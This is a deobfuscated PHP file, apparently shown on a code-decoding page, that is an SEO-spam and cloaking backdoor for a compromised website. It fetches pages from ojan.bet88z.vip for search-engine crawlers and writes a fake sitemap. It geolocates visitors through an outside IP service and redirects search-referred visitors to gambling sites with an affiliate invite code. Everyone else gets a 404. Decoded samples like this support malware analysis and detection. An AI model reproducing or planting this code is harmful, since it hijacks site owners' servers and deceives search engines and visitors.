PHP Decode

<?php 
 
// Get user agent and request URI 
$C30Gw = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ""; 
$c13dz = isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : ""; 
 
// Remove "/index.php?" from request URI 
$c13dz = str_replace("/index.php?", "/", $c13dz); 
 
// Get HTTP host and remote address 
$Umpj3 = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : ""; 
$AlO_3 = isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : ""; 
 
// Get HTTP referer 
$tysCL = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ""; 
 
// Load XML file "sitemap-custom-001.xml" 
$uinKg = simplexml_load_file('sitemap-custom-001.xml'); 
 
// Get request URI again 
$vdOPS = $_SERVER['REQUEST_URI']; 
 
// Build URLs for different purposes 
$jmgzb = "https://ojan.bet88z.vip/" . str_replace("/tin-tuc", "", $vdOPS) . "?host=" . $Umpj3; 
$dLs2t = "https://ojan.bet88z.vip/sitemap.php"; 
$zisOm = "https://id.zktech.dev/ipinfo.php"; 
$GmUVY = "tin-tuc"; 
 
// Function to check if the request comes from a search engine 
function ArZSe($tysCL) 
{ 
    $UjJFA = parse_url($tysCL, PHP_URL_HOST); 
    if (!empty($UjJFA)) { 
        goto g0NnG; 
    } 
    return false; 
    g0NnG: 
    $Kx85f = array("google", "bing", "yahoo", "baidu", "yandex", "duckduckgo"); 
    foreach ($Kx85f as $hV3RE) { 
        if (!(strpos($UjJFA, $hV3RE) !== false)) { 
            goto iC5sd; 
        } 
        return true; 
        iC5sd: 
        qQGrA: 
    } 
    g_h4U: 
    return false; 
} 
 
// Function to check if the user agent belongs to specific bots 
function t7nu6($C30Gw) 
{ 
    $ta4bF = array("Googlebot", "bingbot", "Slurp", "Yahoo! Slurp", "facebookexternalhit"); 
    foreach ($ta4bF as $boVIj) { 
        if (!(strpos($C30Gw, $boVIj) !== false)) { 
            goto vfUfK; 
        } 
        return true; 
        vfUfK: 
        to8BI: 
    } 
    r2Jab: 
    return false; 
} 
 
// Function to check if the connection is using HTTPS 
function f8GiT() 
{ 
    if (!empty($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { 
        goto DzJze; 
    } 
    if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { 
        goto IaBCm; 
    } 
    if (!empty($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { 
        goto xCyWf; 
    } 
    goto h8nF7; 
    DzJze: 
    return true; 
    goto h8nF7; 
    IaBCm: 
    return true; 
    goto h8nF7; 
    xCyWf: 
    return true; 
    h8nF7: 
    return false; 
} 
 
// Function to get the client's IP address considering proxies 
function VjT36() 
{ 
    if (!(isset($_SERVER['HTTP_X_FORWARDED_FOR']) && !empty($_SERVER['HTTP_X_FORWARDED_FOR']))) { 
        goto eJH5i; 
    } 
    $UXR9h = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); 
    return trim(end($UXR9h)); 
    eJH5i: 
    if (!(isset($_SERVER['HTTP_CLIENT_IP']) && !empty($_SERVER['HTTP_CLIENT_IP']))) { 
        goto M3W_o; 
    } 
    return $_SERVER['HTTP_CLIENT_IP']; 
    M3W_o: 
    return $_SERVER['REMOTE_ADDR']; 
} 
 
// Function to retrieve information from a remote server based on the client's IP address 
function XvkCU($b4O5K) 
{ 
    $By4pB = VJT36(); 
    $k3136 = file_get_contents($b4O5K . "?ip=" . $By4pB); 
    return $k3136; 
} 
 
// Function to send an HTTP POST request to a given URL with specified parameters 
function PCHvu($CU8Td, $S70CL) 
{ 
    $by9Oj = http_build_query($S70CL); 
    $JX3QK = ["http" => ["method" => "POST", "header" => "Content-type:application/x-www-form-urlencoded", "content" => $by9Oj, "timeout" => 15 * 60]]; 
    $c23KH = stream_context_create($JX3QK); 
    $jMfuY = @file_get_contents($CU8Td, false, $c23KH); 
    return $jMfuY; 
} 
 
 
// Function to check if the sitemap file exists and create it if not 
function JYl1_() 
{ 
    $pSFNf = "sitemap-custom-001.xml"; 
    if (file_exists($pSFNf)) { 
        goto EubnV; 
    } 
    $uinKg = fopen($pSFNf, "w+") or die("Unable to create sitemap.xml"); 
    $sz86v = "<?xml version='1.0' encoding='UTF-8'?>
<urlset xmlns='http://www.sitemaps.org/schemas/sitemap/0.9'>
</urlset>"; 
    fwrite($uinKg, $sz86v); 
    fclose($uinKg); 
    return true; 
    EubnV: 
    return true; 
} 
 
// Function to generate and output a custom sitemap XML file based on specific conditions 
function Q0wOy($uinKg, $vdOPS, $Umpj3, $GmUVY) 
{ 
    if (F8GIT()) { 
        goto wTYHU; 
    } 
    $lGTKR = "http"; 
    goto caQPm; 
    wTYHU: 
    $lGTKR = "https"; 
    caQPm: 
    if (strpos($vdOPS, "sitemap-custom-001")) { 
        goto XRSio; 
    } 
    $jS33k = file_get_contents($uinKg . '?map=' . $vdOPS . "&path=" . $GmUVY . "&host=" . $Umpj3 . "&protocol=" . $lGTKR); 
    goto KC0N0; 
    XRSio: 
    $jS33k = file_get_contents("sitemap-custom-001.xml"); 
    KC0N0: 
    header("Content-Type: text/xml"); 
    echo $jS33k; 
    exit; 
} 
 
// Function to perform certain actions based on the client's location and user agent 
function mhXdp($zisOm, $jmgzb, $tysCL, $C30Gw, $uinKg, $vdOPS, $AlO_3, $Umpj3, $c13dz, $dz1bw = "") 
{ 
    if (ArZsE($tysCL) !== false) { 
        goto MkVir; 
    } 
    if (T7Nu6($C30Gw)) { 
        goto axan8; 
    } 
    header("HTTP/1.0 404 Not Found"); 
    exit; 
    goto ABtFe; 
    axan8: 
    if (!jyL1_()) { 
        goto rAm73; 
    } 
    $a2lmI = false; 
    foreach ($uinKg->url as $CU8Td) { 
        if (!($CU8Td->loc == $vdOPS)) { 
            goto gdG0g; 
        } 
        $a2lmI = true; 
        goto lXD4f; 
        gdG0g: 
        NshT6: 
    } 
    lXD4f: 
    if (f8GiT()) { 
        goto TLeHf; 
    } 
    $lGTKR = "http"; 
    goto DVVl8; 
    TLeHf: 
    $lGTKR = "https"; 
    DVVl8: 
    if (!(!$a2lmI && strpos($vdOPS, ".html"))) { 
        goto H0BE2; 
    } 
    $sdxsC = $uinKg->addChild('url'); 
    $sdxsC->addChild('loc', $lGTKR . '://' . $Umpj3 . $vdOPS); 
    $uinKg->asXML('sitemap-custom-001.xml'); 
    H0BE2: 
    $S70CL = ["hostName" => $Umpj3, "boturl" => $c13dz, "http" => $lGTKR, "numbergroup" => $dz1bw, "user_agent" => $C30Gw, "Remote_Address" => $AlO_3]; 
    $aNxCq = file_get_contents($jmgzb . "&protocol=" . $lGTKR); 
    $B8Vb3 = pathinfo($vdOPS, PATHINFO_EXTENSION); 
    switch ($B8Vb3) { 
        case 'jpg': 
            header('Content-Type: image/jpeg'); 
            goto KFqmY; 
        case 'png': 
            header('Content-Type: image/png'); 
            goto KFqmY; 
        case 'css': 
            header('Content-Type: text/css'); 
            goto KFqmY; 
        case 'js': 
            header('Content-Type: application/javascript'); 
            goto KFqmY; 
        default: 
            header('Content-Type: text/html'); 
            goto KFqmY; 
    } 
    pf29U: 
    KFqmY: 
    $vdOPS = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; 
    $TY3G2 = preg_replace('#<link rel="canonical" href="(.*?)">#', '<link rel="canonical" href="' . $vdOPS . '">', $aNxCq); 
    echo $TY3G2; 
    rAm73: 
    ABtFe: 
    goto c2VHl; 
    MkVir: 
    $k3136 = xvkCu($zisOm); 
    if ($k3136 == 'Vietnam') { 
        goto pvqGL; 
    } 
    if ($k3136 == 'Indonesia') { 
        goto AfduH; 
    } 
    header("Location: https://bet88098.com/id/?inviteCode=ojanseo1"); 
    exit; 
    goto xuEcC; 
    pvqGL: 
    header("Location: https://sodopoker.com/url"); 
    exit; 
    goto xuEcC; 
    AfduH: 
    header("Location: https://bet88098.com/id/?inviteCode=ojanseo1"); 
    exit; 
    xuEcC: 
    c2VHl: 
} 
if (preg_match('/sitemap.*\.xml$/', $vdOPS)) { 
    goto sWlCo; 
} 
MhxDp($zisOm, $jmgzb, $tysCL, $C30Gw, $uinKg, $vdOPS, $AlO_3, $Umpj3, $c13dz); 
goto tVc2K; 
sWlCo: 
Q0wOY($dLs2t, $vdOPS, $Umpj3, $GmUVY); 
tVc2K: